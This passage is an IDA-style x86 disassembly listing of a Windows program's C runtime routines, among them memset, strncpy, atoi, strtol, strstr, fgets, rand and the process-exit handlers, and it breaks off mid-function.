		ja	short loc_417A81
		push	esi
		call	sub_41A37D
		test	eax, eax
		pop	ecx
		jnz	short loc_417A9D


loc_417A81:				; CODE XREF: sub_417A69+Bj
		test	esi, esi
		jnz	short loc_417A88
		push	1
		pop	esi


loc_417A88:				; CODE XREF: sub_417A69+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4D9D60
		call	dword_423180	; RtlAllocateHeap


loc_417A9D:				; CODE XREF: sub_417A69+16j
		pop	esi
		retn
sub_417A69	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417AA0	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417AF3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417AE7
		neg	ecx
		and	ecx, 3
		jz	short loc_417AC9
		sub	edx, ecx


loc_417AC3:				; CODE XREF: sub_417AA0+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417AC3


loc_417AC9:				; CODE XREF: sub_417AA0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417AE7
		rep stosd
		test	edx, edx
		jz	short loc_417AED


loc_417AE7:				; CODE XREF: sub_417AA0+18j
					; sub_417AA0+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417AE7


loc_417AED:				; CODE XREF: sub_417AA0+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417AF3:				; CODE XREF: sub_417AA0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417AA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B00	proc near		; CODE XREF: sub_401221+499p
					; sub_401221+4B5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_417B83
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_417B24
		shr	ecx, 2
		jnz	short loc_417B91
		jmp	short loc_417B45
; ---------------------------------------------------------------------------


loc_417B24:				; CODE XREF: sub_417B00+1Bj
					; sub_417B00+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_417B52
		test	al, al
		jz	short loc_417B5A
		test	esi, 3
		jnz	short loc_417B24
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_417B91


loc_417B40:				; CODE XREF: sub_417B00+8Fj
		and	ebx, 3
		jz	short loc_417B52


loc_417B45:				; CODE XREF: sub_417B00+22j
					; sub_417B00+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_417B7E
		dec	ebx
		jnz	short loc_417B45


loc_417B52:				; CODE XREF: sub_417B00+2Bj
					; sub_417B00+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417B5A:				; CODE XREF: sub_417B00+2Fj
		test	edi, 3
		jz	short loc_417B74


loc_417B62:				; CODE XREF: sub_417B00+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_417BF6
		test	edi, 3
		jnz	short loc_417B62


loc_417B74:				; CODE XREF: sub_417B00+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_417BE7


loc_417B7B:				; CODE XREF: sub_417B00+7Fj
					; sub_417B00+F4j
		mov	[edi], al
		inc	edi


loc_417B7E:				; CODE XREF: sub_417B00+4Dj
		dec	ebx
		jnz	short loc_417B7B
		pop	ebx
		pop	esi


loc_417B83:				; CODE XREF: sub_417B00+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417B89:				; CODE XREF: sub_417B00+A9j
					; sub_417B00+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_417B40


loc_417B91:				; CODE XREF: sub_417B00+20j
					; sub_417B00+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_417B89
		test	dl, dl
		jz	short loc_417BDB
		test	dh, dh
		jz	short loc_417BD1
		test	edx, 0FF0000h
		jz	short loc_417BC7
		test	edx, 0FF000000h
		jnz	short loc_417B89
		mov	[edi], edx
		jmp	short loc_417BDF
; ---------------------------------------------------------------------------


loc_417BC7:				; CODE XREF: sub_417B00+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_417BDF
; ---------------------------------------------------------------------------


loc_417BD1:				; CODE XREF: sub_417B00+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_417BDF
; ---------------------------------------------------------------------------


loc_417BDB:				; CODE XREF: sub_417B00+ADj
		xor	edx, edx
		mov	[edi], edx


loc_417BDF:				; CODE XREF: sub_417B00+C5j
					; sub_417B00+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_417BF1


loc_417BE7:				; CODE XREF: sub_417B00+79j
		xor	eax, eax


loc_417BE9:				; CODE XREF: sub_417B00+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_417BE9


loc_417BF1:				; CODE XREF: sub_417B00+E5j
		and	ebx, 3
		jnz	short loc_417B7B


loc_417BF6:				; CODE XREF: sub_417B00+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_417B00	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BFE	proc near		; CODE XREF: sub_417C89+4p
					; sub_4202CC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_417C06:				; CODE XREF: sub_417BFE+34j
		cmp	dword_43AD8C, 1
		jle	short loc_417C1E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_417C2D
; ---------------------------------------------------------------------------


loc_417C1E:				; CODE XREF: sub_417BFE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43AB80
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_417C2D:				; CODE XREF: sub_417BFE+1Ej
		test	eax, eax
		jz	short loc_417C34
		inc	edi
		jmp	short loc_417C06
; ---------------------------------------------------------------------------


loc_417C34:				; CODE XREF: sub_417BFE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_417C44
		cmp	esi, 2Bh
		jnz	short loc_417C48


loc_417C44:				; CODE XREF: sub_417BFE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_417C48:				; CODE XREF: sub_417BFE+44j
		xor	ebx, ebx


loc_417C4A:				; CODE XREF: sub_417BFE+7Bj
		cmp	dword_43AD8C, 1
		jle	short loc_417C5F
		push	4
		push	esi
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_417C6A
; ---------------------------------------------------------------------------


loc_417C5F:				; CODE XREF: sub_417BFE+53j
		mov	eax, off_43AB80
		mov	al, [eax+esi*2]
		and	eax, 4


loc_417C6A:				; CODE XREF: sub_417BFE+5Fj
		test	eax, eax
		jz	short loc_417C7B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_417C4A
; ---------------------------------------------------------------------------


loc_417C7B:				; CODE XREF: sub_417BFE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_417C84
		neg	eax


loc_417C84:				; CODE XREF: sub_417BFE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417BFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C89	proc near		; CODE XREF: sub_401221+303p
					; sub_401AC7+AFBp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417BFE
		pop	ecx
		retn
sub_417C89	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C94	proc near		; CODE XREF: sub_419C83+93p
		mov	eax, off_43AB4C
		test	eax, eax
		jz	short loc_417C9F
		call	eax ; sub_418C48


loc_417C9F:				; CODE XREF: sub_417C94+7j
		push	offset dword_425030
		push	offset dword_42501C
		call	sub_417D7C
		push	offset dword_425018
		push	offset dword_425000
		call	sub_417D7C
		add	esp, 10h
		retn
sub_417C94	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CC1	proc near		; CODE XREF: sub_419C83+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_417CE3
		add	esp, 0Ch
		retn
sub_417CC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CD2	proc near		; CODE XREF: .nsp0:00419D74p
					; sub_419D79+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_417CE3
		add	esp, 0Ch
		retn
sub_417CD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CE3	proc near		; CODE XREF: sub_417CC1+8p
					; sub_417CD2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4D8718, edi
		jnz	short loc_417D00
		push	[esp+4+arg_0]
		call	dword_4230F8	; GetCurrentProcess
		push	eax
		call	dword_4230F0	; TerminateProcess


loc_417D00:				; CODE XREF: sub_417CE3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4D8714, edi
		mov	byte_4D8710, bl
		jnz	short loc_417D54
		mov	eax, dword_4D9D74
		test	eax, eax
		jz	short loc_417D43
		mov	ecx, dword_4D9D70
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_417D42


loc_417D2F:				; CODE XREF: sub_417CE3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_417D37
		call	eax


loc_417D37:				; CODE XREF: sub_417CE3+50j
		sub	esi, 4
		cmp	esi, dword_4D9D74
		jnb	short loc_417D2F


loc_417D42:				; CODE XREF: sub_417CE3+4Aj
		pop	esi


loc_417D43:				; CODE XREF: sub_417CE3+3Cj
		push	offset dword_42503C
		push	offset dword_425034
		call	sub_417D7C
		pop	ecx
		pop	ecx


loc_417D54:				; CODE XREF: sub_417CE3+33j
		push	offset dword_425048
		push	offset dword_425040
		call	sub_417D7C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_417D7A
		push	[esp+4+arg_0]
		mov	dword_4D8718, edi
		call	dword_423064	; ExitProcess


loc_417D7A:				; CODE XREF: sub_417CE3+85j
		pop	edi
		retn
sub_417CE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D7C	proc near		; CODE XREF: sub_417C94+15p
					; sub_417C94+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_417D81:				; CODE XREF: sub_417D7C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_417D94
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_417D8F
		call	eax


loc_417D8F:				; CODE XREF: sub_417D7C+Fj
		add	esi, 4
		jmp	short loc_417D81
; ---------------------------------------------------------------------------


loc_417D94:				; CODE XREF: sub_417D7C+9j
		pop	esi
		retn
sub_417D7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D96	proc near		; CODE XREF: sub_401221+18Cp
					; sub_401221+292p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41B184
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417DD6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417DE3
; ---------------------------------------------------------------------------


loc_417DD6:				; CODE XREF: sub_417D96+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41B06F
		pop	ecx
		pop	ecx


loc_417DE3:				; CODE XREF: sub_417D96+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_417D96	endp


; =============== S U B	R O U T	I N E =======================================



sub_417DE8	proc near		; CODE XREF: sub_401221+45p
					; sub_401AC7+2C24p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AB30, eax
		retn
sub_417DE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_417DF2	proc near		; CODE XREF: sub_401221:loc_401376p
					; sub_401221:loc_4016A1p ...
		mov	eax, dword_43AB30
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AB30, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_417DF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E10	proc near		; CODE XREF: sub_401221+12Ap
					; sub_401AC7+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_417E8A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_417E77


loc_417E28:				; CODE XREF: sub_417E10+52j
					; sub_417E10+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_417E4A
		test	al, al
		jz	short loc_417E44


loc_417E39:				; CODE XREF: sub_417E10+32j
		mov	al, [esi]
		inc	esi


loc_417E3C:				; CODE XREF: sub_417E10+3Fj
		cmp	al, dl
		jz	short loc_417E4A
		test	al, al
		jnz	short loc_417E39


loc_417E44:				; CODE XREF: sub_417E10+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417E4A:				; CODE XREF: sub_417E10+23j
					; sub_417E10+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_417E3C
		lea	edi, [esi-1]


loc_417E54:				; CODE XREF: sub_417E10+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_417E83
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417E28
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_417E83
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_417E54
		jmp	short loc_417E28
; ---------------------------------------------------------------------------


loc_417E77:				; CODE XREF: sub_417E10+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_4184B6
; ---------------------------------------------------------------------------


loc_417E83:				; CODE XREF: sub_417E10+49j
					; sub_417E10+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417E8A:				; CODE XREF: sub_417E10+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417E10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E90	proc near		; CODE XREF: sub_401221+117p
					; sub_401AC7+1A40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B184
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417ECF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417EDC
; ---------------------------------------------------------------------------


loc_417ECF:				; CODE XREF: sub_417E90+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41B06F
		pop	ecx
		pop	ecx


loc_417EDC:				; CODE XREF: sub_417E90+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_417E90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EE1	proc near		; CODE XREF: sub_401221+F7p
					; sub_401AC7+1D24p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_4176F0
		cmp	eax, 1
		pop	ecx
		jb	short loc_417F1C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_417F1C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_417F18
		push	2
		push	ebx
		push	esi
		call	sub_41BD6E
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_417F18:				; CODE XREF: sub_417EE1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_417F26
; ---------------------------------------------------------------------------


loc_417F1C:				; CODE XREF: sub_417EE1+18j
					; sub_417EE1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_417F26
		and	byte ptr [eax],	0


loc_417F26:				; CODE XREF: sub_417EE1+39j
					; sub_417EE1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_417F9E


loc_417F39:				; CODE XREF: sub_417EE1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4D9C41[edx], 4
		jz	short loc_417F4A
		inc	eax
		jmp	short loc_417F64
; ---------------------------------------------------------------------------


loc_417F4A:				; CODE XREF: sub_417EE1+64j
		cmp	cl, 2Fh
		jz	short loc_417F5E
		cmp	cl, 5Ch
		jz	short loc_417F5E
		cmp	cl, 2Eh
		jnz	short loc_417F64
		mov	[ebp+var_4], eax
		jmp	short loc_417F64
; ---------------------------------------------------------------------------


loc_417F5E:				; CODE XREF: sub_417EE1+6Cj
					; sub_417EE1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_417F64:				; CODE XREF: sub_417EE1+67j
					; sub_417EE1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417F39
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_417F9E
		cmp	[ebp+arg_8], 0
		jz	short loc_417F99
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_417F82
		mov	edi, esi


loc_417F82:				; CODE XREF: sub_417EE1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41BD6E
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_417F99:				; CODE XREF: sub_417EE1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_417FA8
; ---------------------------------------------------------------------------


loc_417F9E:				; CODE XREF: sub_417EE1+56j
					; sub_417EE1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_417FA8
		and	byte ptr [ecx],	0


loc_417FA8:				; CODE XREF: sub_417EE1+BBj
					; sub_417EE1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_417FFB
		cmp	edi, ebx
		jb	short loc_417FFB
		cmp	[ebp+arg_C], 0
		jz	short loc_417FD8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_417FC1
		mov	edi, esi


loc_417FC1:				; CODE XREF: sub_417EE1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41BD6E
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_417FD8:				; CODE XREF: sub_417EE1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_418023
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_417FE8
		mov	esi, eax


loc_417FE8:				; CODE XREF: sub_417EE1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41BD6E
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_418023
; ---------------------------------------------------------------------------


loc_417FFB:				; CODE XREF: sub_417EE1+CCj
					; sub_417EE1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_418019
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41800A
		mov	esi, eax


loc_41800A:				; CODE XREF: sub_417EE1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41BD6E
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_418019:				; CODE XREF: sub_417EE1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_418023
		and	byte ptr [eax],	0


loc_418023:				; CODE XREF: sub_417EE1+FCj
					; sub_417EE1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417EE1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418030	proc near		; CODE XREF: sub_40194F+8p
					; sub_401AC7+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_418050


loc_41803C:				; CODE XREF: sub_418030+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41803C


loc_418050:				; CODE XREF: sub_418030+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_418030	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41805F	proc near		; CODE XREF: sub_401AC7+6922p
					; sub_401AC7+6951p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_418073
		xor	eax, eax
		jmp	short loc_4180A9
; ---------------------------------------------------------------------------


loc_418073:				; CODE XREF: sub_41805F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_4180A3
		mov	esi, [ebp+arg_8]


loc_41807C:				; CODE XREF: sub_41805F+42j
		dec	dword ptr [esi+4]
		js	short loc_41808B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_418092
; ---------------------------------------------------------------------------


loc_41808B:				; CODE XREF: sub_41805F+20j
		push	esi
		call	sub_41AB28
		pop	ecx


loc_418092:				; CODE XREF: sub_41805F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4180AD
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_4180A3
		dec	[ebp+arg_4]
		jnz	short loc_41807C


loc_4180A3:				; CODE XREF: sub_41805F+18j
					; sub_41805F+3Dj ...
		and	byte ptr [edi],	0


loc_4180A6:				; CODE XREF: sub_41805F+55j
		mov	eax, ebx
		pop	esi


loc_4180A9:				; CODE XREF: sub_41805F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4180AD:				; CODE XREF: sub_41805F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_4180A3
		xor	ebx, ebx
		jmp	short loc_4180A6
sub_41805F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180B6	proc near		; CODE XREF: sub_4182BE+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_4180CE:				; CODE XREF: sub_4180B6+46j
		cmp	dword_43AD8C, 1
		jle	short loc_4180E6
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_4180F5
; ---------------------------------------------------------------------------


loc_4180E6:				; CODE XREF: sub_4180B6+1Fj
		mov	ecx, off_43AB80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4180F5:				; CODE XREF: sub_4180B6+2Ej
		test	eax, eax
		jz	short loc_4180FE
		mov	bl, [esi]
		inc	esi
		jmp	short loc_4180CE
; ---------------------------------------------------------------------------


loc_4180FE:				; CODE XREF: sub_4180B6+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41810C
		or	[ebp+arg_C], 2
		jmp	short loc_418111
; ---------------------------------------------------------------------------


loc_41810C:				; CODE XREF: sub_4180B6+4Ej
		cmp	bl, 2Bh
		jnz	short loc_418117


loc_418111:				; CODE XREF: sub_4180B6+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_418117:				; CODE XREF: sub_4180B6+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_4182AE
		cmp	eax, 1
		jz	loc_4182AE
		cmp	eax, 24h
		jg	loc_4182AE
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41815F
		cmp	bl, 30h
		jz	short loc_418149
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41817B
; ---------------------------------------------------------------------------


loc_418149:				; CODE XREF: sub_4180B6+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41815C
		cmp	al, 58h
		jz	short loc_41815C
		mov	[ebp+arg_8], 8
		jmp	short loc_41817B
; ---------------------------------------------------------------------------


loc_41815C:				; CODE XREF: sub_4180B6+97j
					; sub_4180B6+9Bj
		mov	[ebp+arg_8], ecx


loc_41815F:				; CODE XREF: sub_4180B6+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41817B
		cmp	bl, 30h
		jnz	short loc_41817B
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_418173
		cmp	al, 58h
		jnz	short loc_41817B


loc_418173:				; CODE XREF: sub_4180B6+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41817B:				; CODE XREF: sub_4180B6+91j
					; sub_4180B6+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41818B:				; CODE XREF: sub_4180B6+16Cj
		cmp	dword_43AD8C, 1
		movzx	esi, bl
		jle	short loc_4181A3
		push	4
		push	esi
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_4181AE
; ---------------------------------------------------------------------------


loc_4181A3:				; CODE XREF: sub_4180B6+DFj
		mov	eax, off_43AB80
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4181AE:				; CODE XREF: sub_4180B6+EBj
		test	eax, eax
		jz	short loc_4181BA
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_4181EC
; ---------------------------------------------------------------------------


loc_4181BA:				; CODE XREF: sub_4180B6+FAj
		cmp	dword_43AD8C, 1
		jle	short loc_4181CE
		push	edi
		push	esi
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_4181D9
; ---------------------------------------------------------------------------


loc_4181CE:				; CODE XREF: sub_4180B6+10Bj
		mov	eax, off_43AB80
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_4181D9:				; CODE XREF: sub_4180B6+116j
		test	eax, eax
		jz	short loc_418227
		movsx	eax, bl
		push	eax
		call	sub_41BDF8
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_4181EC:				; CODE XREF: sub_4180B6+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_418227
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_418211
		jnz	short loc_41820B
